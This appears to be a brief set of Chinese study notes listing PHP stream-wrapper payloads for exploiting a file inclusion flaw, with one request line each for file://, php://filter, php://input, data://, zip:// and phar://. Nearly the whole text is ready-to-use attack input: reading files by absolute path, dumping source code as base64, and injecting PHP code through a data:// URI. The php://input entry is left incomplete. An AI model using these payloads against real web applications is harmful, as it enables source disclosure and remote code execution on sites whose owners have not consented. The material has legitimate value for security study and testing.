文件包含PHP伪协议利用方法

1.file://协议

使⽤： file:// ⽂件的绝对路径和⽂件名

1.php?cmd=file://E:\yingyun\phpstudy_pro\WWW\1.txt

2.php://filter协议

⽤途：常⽤于读取⽂件 / 源码

?cmd=php://filter/read=convert.base64-encode/resource=1.txt

 

3.php://input协议 

1.php?cmd=php://input抓包

 放行访问

4.data:// 协议

⽤途：数据（ RFC2397 ）

1.php?cmd=data:text/plain,<?php phpinfo();?>

5.zip://协议 

⽤途：读取压缩包内的⽂件（绝对路径 / 相对路径）

1.php?cmd=zip://1.zip%231.txt

 

 6.phar://协议

⽤途：读取压缩包内的⽂件（绝对路径 / 相对路径）

1.php?cmd=phar://1.zip/1.txt